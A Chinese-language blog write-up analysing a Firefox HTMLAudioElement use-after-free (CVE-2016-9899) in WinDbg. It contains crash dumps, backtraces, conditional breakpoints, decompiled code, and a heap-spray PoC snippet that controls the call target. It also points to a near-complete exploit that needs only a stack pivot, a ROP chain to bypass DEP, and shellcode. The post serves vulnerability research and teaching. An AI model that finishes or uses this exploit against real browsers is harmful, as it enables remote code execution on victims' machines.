作者:k0shl 转载请注明出处 作者博客:http://whereisk0shl.top
小年已过,过年的节奏了,给大家拜个早年,新年快乐!
好久没有碰到过这样的释放后重用漏洞了,其漏洞成因是一个非常经典的成因,由于释放后会产生一个野指针,但是没有对指针引用计数处理,导致重新申请内存对野指针进行占位,占用的野指针会作为虚函数指针被引用到,从而导致代码执行。
在我们分析释放后重用的过程中,经常会用gflags /I +hpa开启页堆监视,然后用!heap -p -a addr观察指针的申请释放等过程,同时也可以通过加载符号表,来观察函数调用传递参数的类型,但是在这次调试中,我开启了gflags却没法定位到目标指针的对象,申请,释放过程,加载符号表后也观察不到这个函数传递参数的类型,这时我们可以通过堆栈回溯来进行分析,这也是一种小技巧。
这种小技巧相对!heap的方法稍微麻烦一些,而且主要浏览器在进行各种逻辑处理的过程中,不止一次会调用到kb堆栈回溯过程中的函数调用,因此在这个过程中,我们需要针对触发漏洞的这个符号路径不断的进行断点调整,一旦我们分析出一条执行路径,我们就可以推断出函数传递参数的类型,以及我们需要跟踪的重要函数调用,如果函数被多次调用到,我们可以通过条件断点来分析整个释放后重用过程。
在文章末尾,我提供一个我修改过的半个exp,这个exp差一个shellcode和一个rop gadget,主要是堆喷后需要一个rop gadget来将esp栈帧的地址修改成堆中rop的地址,这样才能顺利执行rop,其实用mona就可以完成搜索,之后在rop chain后面加上shellcode就可以了。
首先poc可以直接在exploit db上获取到,poc地址: https://www.exploit-db.com/exploits/41042/
我们可以直接获取到firefox的符号表服务器,用windbg加载,srv*http://symbols.mozilla.org/firefox
然后打开PoC,火狐崩溃了。
(7f8.b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1637d800 ebx=00000000 ecx=0012dea8 edx=4543484f esi=0012dec4 edi=14e8dee0
eip=0292c44c esp=0012de98 ebp=0012deac iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
xul!nsCOMPtr<nsIContent>::nsCOMPtr<nsIContent>+0x1d:
0292c44c ff12 call dword ptr [edx] ds:0023:4543484f=????????
这个崩溃的位置很屌,是call [edx],看上去像是个虚函数的调用,而且4543484f这个地址正是我们在PoC中的一个位置。
for(var i=0;i<4096;i++) { //replace
pl[i]=new Uint8Array(1000);
pl[i][0] = 0x4F;
pl[i][1] = 0x48;
pl[i][2] = 0x43;
pl[i][3] = 0x45; //eip
for(var j=4;j<(1000) - 4;j++) pl[i][j] = 0x91;
// pl[i] = document.createElement('media');
//document.body.appendChild(pl[i]);
}
在PoC中我们申请了大量4096个数组,每个数组大小是1000,前4个字节正是call[edx]调用时edx的值,这意味着我们可能是可以利用这个漏洞RCE的,接下来我们通过!heap的方法,没法看到目标到底是怎么样一个申请释放的过程,通过kb可以回溯到堆栈调用。
0:000> kb
ChildEBP RetAddr Args to Child
0012deac 0173df89 0feccc00 0012decc 0012dee8 xul!nsCOMPtr<nsIContent>::nsCOMPtr<nsIContent>+0x1d [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\dist\include\nscomptr.h @ 504]
0012debc 012dfa21 00000000 00000000 0e9786c0 xul!nsPluginFrame::BeginSwapDocShells+0xf [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\generic\nspluginframe.cpp @ 1796]
0012dee8 0137f404 0173df7a 00000000 125fd1c0 xul!nsIDocument::EnumerateActivityObservers+0x33 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsdocument.cpp @ 10246]
0012df04 0137f3a6 12781800 00000000 140c2058 xul!BeginSwapDocShellsForDocument+0x42 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\generic\nssubdocumentframe.cpp @ 1100]
0012df1c 0137f2ab 140c1d90 140c21a8 140c2058 xul!BeginSwapDocShellsForViews+0x1e [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\generic\nssubdocumentframe.cpp @ 1112]
0012df34 011b3ef5 140c2058 140c2058 140c1d40 xul!nsSubDocumentFrame::DestroyFrom+0x36 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\generic\nssubdocumentframe.cpp @ 999]
0012df78 016897ff 140c2058 00000002 140c1d40 xul!nsBlockFrame::DoRemoveFrame+0x108 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\generic\nsblockframe.cpp @ 5797]
0012df90 011dd9f4 00000001 140c2058 134dd080 xul!nsBlockFrame::RemoveFrame+0x27 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\generic\nsblockframe.cpp @ 5162]
0012dfb0 011dd811 00000001 140c2058 0c4969b0 xul!nsFrameManager::RemoveFrame+0x3c [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\base\nsframemanager.cpp @ 513]
0012e00c 011df01b 10ef4420 134dd080 113f5940 xul!nsCSSFrameConstructor::ContentRemoved+0x1b0 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\base\nscssframeconstructor.cpp @ 8414]
0012e058 011e0e78 11145800 113f5940 134dd000 xul!PresShell::ContentRemoved+0xc0 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\base\nspresshell.cpp @ 4432]
0012e094 011e17de 00000001 113f5900 10ef4454 xul!nsNodeUtils::ContentRemoved+0xd5 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsnodeutils.cpp @ 226]
0012e0b8 011e1774 00000001 00000001 134dd080 xul!nsINode::doRemoveChildAt+0x5a [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsinode.cpp @ 1906]
0012e0dc 016e2401 00000001 00000001 00000000 xul!mozilla::dom::FragmentOrElement::RemoveChildAt+0x35 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\fragmentorelement.cpp @ 1162]
0012e0f4 016e23b9 0132dd44 0a34b000 0012e144 xul!nsINode::Remove+0x34 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsinode.cpp @ 1828]
0012e0f8 0132dd44 0a34b000 0012e144 134dd080 xul!mozilla::dom::ElementBinding::remove+0x9 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\dom\bindings\documenttypebinding.cpp @ 302]
0012e1c4 0132d81a 00000000 0012e358 0000003a xul!js::InternalCallOrConstruct+0x4d4 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\vm\interpreter.cpp @ 453]
0012e1e8 011fc510 0ece2868 0c710705 0012e2e8 xul!InternalCall+0x9a [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\vm\interpreter.cpp @ 498]
0012e3a8 012fbb08 0c71055f 00000001 0c4b8060 xul!js::jit::DoCallFallback+0x3f0 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jit\baselineic.cpp @ 5979]
0012e4c0 0138817a 0a34b000 0c4b80c0 0012ee38 xul!EnterBaseline+0x288 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jit\baselinejit.cpp @ 158]
0012e59c 013a496b 0c498c97 0a34b000 1657ed30 xul!js::jit::EnterBaselineAtBranch+0x2ab [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jit\baselinejit.cpp @ 262]
0012ee38 0185bfdd 0012eef8 0012eef8 0012eef8 xul!Interpret+0x89bb [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\vm\interpreter.cpp @ 1877]
0012eec8 01223230 0a34b000 0012eee8 14a52060 xul!js::RunScript+0x21d [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\vm\interpreter.cpp @ 399]
0012ef28 013507bb 0012f004 0012ef58 00000000 xul!js::ExecuteKernel+0x64 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\vm\interpreter.cpp @ 682]
0012ef70 013504c6 0012f004 00000000 0012f0d8 xul!js::Execute+0x76 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\vm\interpreter.cpp @ 711]
0012f038 01659c6b 0012f060 0012f06c 0012f14c xul!Evaluate+0xaa [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jsapi.cpp @ 4436]
0012f074 01186b50 0012f258 0012f14c 0012f188 xul!Evaluate+0x66 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jsapi.cpp @ 4463]
0012f11c 011862c5 0012f240 0012f258 0012f198 xul!nsJSUtils::EvaluateString+0x242 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base
回溯的内容非常详尽,这就很有趣了,我们可以通过回溯的过程,来看看一个完整的符号路径的过程,在最后call [edx]调用一个什么样的对象,而之前哪里和这个过程有关。
在回溯的过程中,我发现xul中几个比较有趣的函数调用,比如doRemoveChildAt,这样我们下几个断点。
0:000> bl
0 e 02961784 0001 (0001) 0:**** xul!nsINode::doRemoveChildAt
1 e 029617d9 0001 (0001) 0:**** xul!nsINode::doRemoveChildAt+0x55
2 e 02960e75 0001 (0001) 0:**** xul!nsNodeUtils::ContentRemoved+0xd2 ".if(poi(eax+2c)==0x0295ef5b){;}.else{g;}"
3 e 0295d80c 0001 (0001) 0:**** xul!nsCSSFrameConstructor::ContentRemoved+0x1ab
0:000> bc 0 1
0:000> bp xul!nsNodeUtils::ContentRemoved+0xd2 ".if(poi(eax+2c)==0x0295ef5b){.printf \"struct at : 0x%08x\\n\",@esi;g;}.else{g;}"
执行的时候,会先命中到doRemoveChildAt函数,从这个函数可以开始向内层函数跟踪。
Breakpoint 0 hit
eax=0005ce78 ebx=0005d018 ecx=1356ec90 edx=1164a400 esi=1356ec90 edi=1356ecc4
eip=02961784 esp=0005ce5c ebp=0005ce7c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
xul!nsINode::doRemoveChildAt:
02961784 55 push ebp
向内层跟踪要遵循一个原则,就是我们在这一次函数跟踪中,可能不会按照堆栈回溯的函数调用关系进行调用,因此,当出现条件分支跳转之后无法执行到在kb回溯中的内层函数的时候,我们就需要在正常的条件分支位置下断点进行跟踪,比如。
0:000> p
eax=00000000 ebx=1164a400 ecx=1356ec90 edx=1164a400 esi=1356ec90 edi=1333df70
eip=0295d873 esp=0005cdac ebp=0005cdac iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
xul!nsCSSFrameConstructor::ContentRemoved+0x212:
0295d873 5d pop ebp
0:000> p
eax=00000000 ebx=1164a400 ecx=1356ec90 edx=1164a400 esi=1356ec90 edi=1333df70
eip=0295d874 esp=0005cdb0 ebp=1333e070 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
xul!nsCSSFrameConstructor::ContentRemoved+0x213:
0295d874 c21800 ret 18h
0:000> bp 0295d80c
0:000> g
Breakpoint 0 hit
eax=0005e058 ebx=0005e1f8 ecx=1356ec90 edx=11648c00 esi=1356ec90 edi=1356ecc4
eip=02961784 esp=0005e03c ebp=0005e05c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
xul!nsINode::doRemoveChildAt:
02961784 55 push ebp
分析到这一步的时候,我发现程序并没有进行内层函数调用,而是直接进入返回的条件分支,因此我在条件分支的另一个loc下了个断点,之后按g执行,确保程序是按照崩溃时的函数调用关系进行的。
Breakpoint 3 hit
eax=00000001 ebx=16927750 ecx=13fe7900 edx=00000004 esi=13fe7900 edi=1593a470
eip=0295d80c esp=0012e0a8 ebp=0012e0f8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
xul!nsCSSFrameConstructor::ContentRemoved+0x1ab:
0295d80c e8a7010000 call xul!nsFrameManager::RemoveFrame (0295d9b8)
之后程序会进入正确的分支,然后继续单步跟踪,以这种方式从doremovchildat函数,跟踪到程序崩溃时的调用。
0:000> p
eax=11016c00 ebx=00000000 ecx=0012deb8 edx=04d9b070 esi=0012ded4 edi=114928e0
eip=0292c44c esp=0012dea8 ebp=0012debc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
xul!nsCOMPtr<nsIContent>::nsCOMPtr<nsIContent>+0x1d:
0292c44c ff12 call dword ptr [edx] ds:0023:04d9b070={xul!mozilla::dom::HTMLMediaElement::QueryInterface (02c430df)}
当到达崩溃位置的汇编代码时,我发现这是一处虚函数调用,edx是由eax赋值来的,而eax正是这个函数的第一个传入参数。
0:000> dps 11016c00
11016c00 04d9b070 xul!mozilla::dom::HTMLAudioElement::`vftable'
11016c04 04dc75d8 xul!mozilla::dom::HTMLAudioElement::`vftable'
看一下eax的值,其中这个虚表第一个指针指向的地址04d9b070就是edx的值,也就是edx是虚表的第一个虚表指针,而我们崩溃现场正是edx的值变成了一个我们可控的值,这样就很有趣了。说明eax这个虚表在某处可能被释放又被引用了,记录下之前的调试过程,我们向前搜索,看看11016c00这个值从何而来。
0:000> p
eax=1161b800 ebx=00000000 ecx=00000008 edx=0d08b480 esi=143a1000 edi=114928e0
eip=02a5fa1e esp=0012ded4 ebp=0012def8 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
xul!nsIDocument::EnumerateActivityObservers+0x30:
02a5fa1e ff5508 call dword ptr [ebp+8] ss:0023:0012df00={xul!nsPluginFrame::BeginSwapDocShells (02ebdf7a)}
0:000> dd esp
0012ded4 11016c00 00000000 0d08b480 1161b800
向前查找中,我们发现这个值会作为第一个参数传入BeginSwapDocShells,因此我们在这个函数被调用的时候下条件断点,来跟踪每次这个函数调用时的传入参数。
0:000> bl
0 e 02a5fa1e 0001 (0001) 0:**** xul!nsIDocument::EnumerateActivityObservers+0x30 ".if(poi(ebp+8)==0x02ebdf7a){.printf \"Object At : 0x%08x\\n\",@eax;g;}.else{g;}"
之后直接执行,打印多个Object之后会命中崩溃位置。
Object At : 0x0ee47348
Object At : 0x0ee47350
Object At : 0x0ee473e8
Object At : 0x0ee473f0
(7f8.b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1637d800 ebx=00000000 ecx=0012dea8 edx=4543484f esi=0012dec4 edi=14e8dee0
eip=0292c44c esp=0012de98 ebp=0012deac iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
xul!nsCOMPtr<nsIContent>::nsCOMPtr<nsIContent>+0x1d:
0292c44c ff12 call dword ptr [edx] ds:0023:4543484f=????????
Ok,观察一下这个申请的对象,来看一下崩溃时的。
0:000> dps 0ee473e8
0ee473e8 e83f9b01
0ee473ec 0f77cc00
0ee473f0 f6dcc600
0ee473f4 1637d800
0:000> dps 1637d800
1637d800 4543484f
1637d804 91919191
1637d808 91919191
可以看到,崩溃时的虚表已经被覆盖了,再来看看之前的。
0:000> dps 0ee47348
0ee47348 49479f01
0ee4734c 10605c00
0ee47350 56dc6401
0ee47354 15861000
0:000> dps 15861000
15861000 04d9b070 xul!mozilla::dom::HTMLAudioElement::`vftable'
15861004 04dc75d8 xul!mozilla::dom::HTMLAudioElement::`vftable'
发现上一次有关的虚表存放的是HTMLAudioElement对象,回头看一下PoC。
doc.body.appendChild(document.createElement("audio")).remove();
m(1024,1024);
这里我们申请的对象也是audio,很有可能就是这个对象,接下来我们通过xul找到关于这个对象的申请和释放函数的内容。首先来看看和申请有关的mozilla::dom::HTMLAudioElement::Audio。
int __usercall mozilla::dom::HTMLAudioElement::Audio@<eax>(int a1@<edx>, int a2@<ecx>, int a3, int a4)
{
v4 = a2;
v5 = mozilla::dom::GlobalObject::GetAsSupports(a1);
nsCOMPtr_nsPIDOMWindowInner_::nsCOMPtr_nsPIDOMWindowInner_(v5);
if ( v11 && (v6 = *(_DWORD *)(v11 + 8)) != 0 )
{
v7 = *(_DWORD *)(v6 + 220);
nsNodeInfoManager::GetNodeInfo(&v12, nsGkAtoms::audio, 0, 3, 1, 0);
if ( _moz_xmalloc(1000) )
v8 = mozilla::dom::HTMLAudioElement::HTMLAudioElement(&v12);
else
v8 = 0;
RefPtr_mozilla::dom::HTMLCanvasElement_::RefPtr_mozilla::dom::HTMLCanvasElement_(v8);
v9 = v12;
Memory = "a";
v14 = 4;
v15 = 33;
nsXULElement::SetXULAttr(nsGkAtoms::preload, &Memory, a4);
ReleaseData(Memory);
if ( *(_DWORD *)a4 & 0x80000000 )
{
*(_DWORD *)v4 = 0;
if ( v9 )
mozilla::dom::FragmentOrElement::Release(v9);
}
else
{
if ( *(_BYTE *)a3 )
*(_DWORD *)a4 = (*(int (__thiscall **)(int, _DWORD, int, _DWORD, _DWORD, signed int))(*(_DWORD *)v9 + 224))(
v9,
0,
nsGkAtoms::src,
0,
*(_DWORD *)(a3 + 4),
1);
*(_DWORD *)v4 = v9;
}
}
else
{
*(_DWORD *)v4 = 0;
*(_DWORD *)a4 = -2147467259;
}
nsCOMPtr_base::_nsCOMPtr_base(&v11);
return v4;
}
函数中申请了一个地址_moz_xmalloc(1000),大小是1000,正好和我们后面占位申请的Array大小相同,再来看看释放。
void *__thiscall mozilla::dom::HTMLAudioElement::_scalar_deleting_destructor_(void *Memory, char a2)
{
void *v2; // esi@1
v2 = Memory;
mozilla::dom::HTMLAudioElement::_HTMLAudioElement();
if ( a2 & 1 )
_free(v2);
return v2;
}
其中释放的是v2指针,接下来我们就要跟踪v2指针,看看是不是HTMLAudioElement对象释放了,然后再被引用到,接下来在释放位置下一个条件断点来打印free的时候指针值。
0:000> bl
1 e 03b56d8e 0001 (0001) 0:**** xul!mozilla::dom::HTMLAudioElement::`scalar deleting destructor'
2 e 02a5fa1e 0001 (0001) 0:**** xul!nsIDocument::EnumerateActivityObservers+0x30 ".if(poi(ebp+8)==0x02ebdf7a){.printf \"Object At : 0x%08x\\n\",@eax;g;}.else{g;}"
0:000> bc 1
0:000> bp 03b56d9e ".printf \"Free Object At : 0x%08x\\n\",@esi;g;"
接下来按g执行。
Free Object At : 0x11899800
Free Object At : 0x11899400
Free Object At : 0x11899000
Free Object At : 0x11898400
Free Object At : 0x11897800
Free Object At : 0x11896c00
Free Object At : 0x11895c00
Free Object At : 0x1188ec00
Free Object At : 0x1188e800
Free Object At : 0x1188e400
Free Object At : 0x11866400
Free Object At : 0x11865800
Free Object At : 0x11865400
Free Object At : 0x11865000
Free Object At : 0x11864c00
Free Object At : 0x11864400
Free Object At : 0x11863000
Free Object At : 0x11861c00
Object At : 0x0d04fa60
(ed0.ed4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=11899800 ebx=00000000 ecx=0012deb8 edx=4543484f esi=0012ded4 edi=10f39be0
eip=0292c44c esp=0012dea8 ebp=0012debc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
xul!nsCOMPtr<nsIContent>::nsCOMPtr<nsIContent>+0x1d:
0292c44c ff12 call dword ptr [edx] ds:0023:4543484f=????????
注意我们第一次释放的虚表地址就是11899800,而我们在崩溃时引用到的也是11899800,因此这就是一个HTMLAudioElement对象的释放后重用漏洞,通过对象释放,然后利用一个1000大小数组占位,正好会占用到释放Audio的前4位,而这时没有对指针计数清零,会再次引用到这个指针,引发释放后重用。
在漏洞利用时,我用了一个经典的堆喷脚本,会把rop chain和shellcode喷射到一个稳定的地址上,但是不同的喷射脚本对应的系统都不一样,之后通过rop绕过dep,再执行shellcode即可。
github地址:https://github.com/k0keoyo/try_exploit/blob/master/_cve_2016_9899_without_ropgadget/
我找了好久xchg,都没有找到非常合适的,如果师傅们有的话,求指导。谢谢!新年快乐!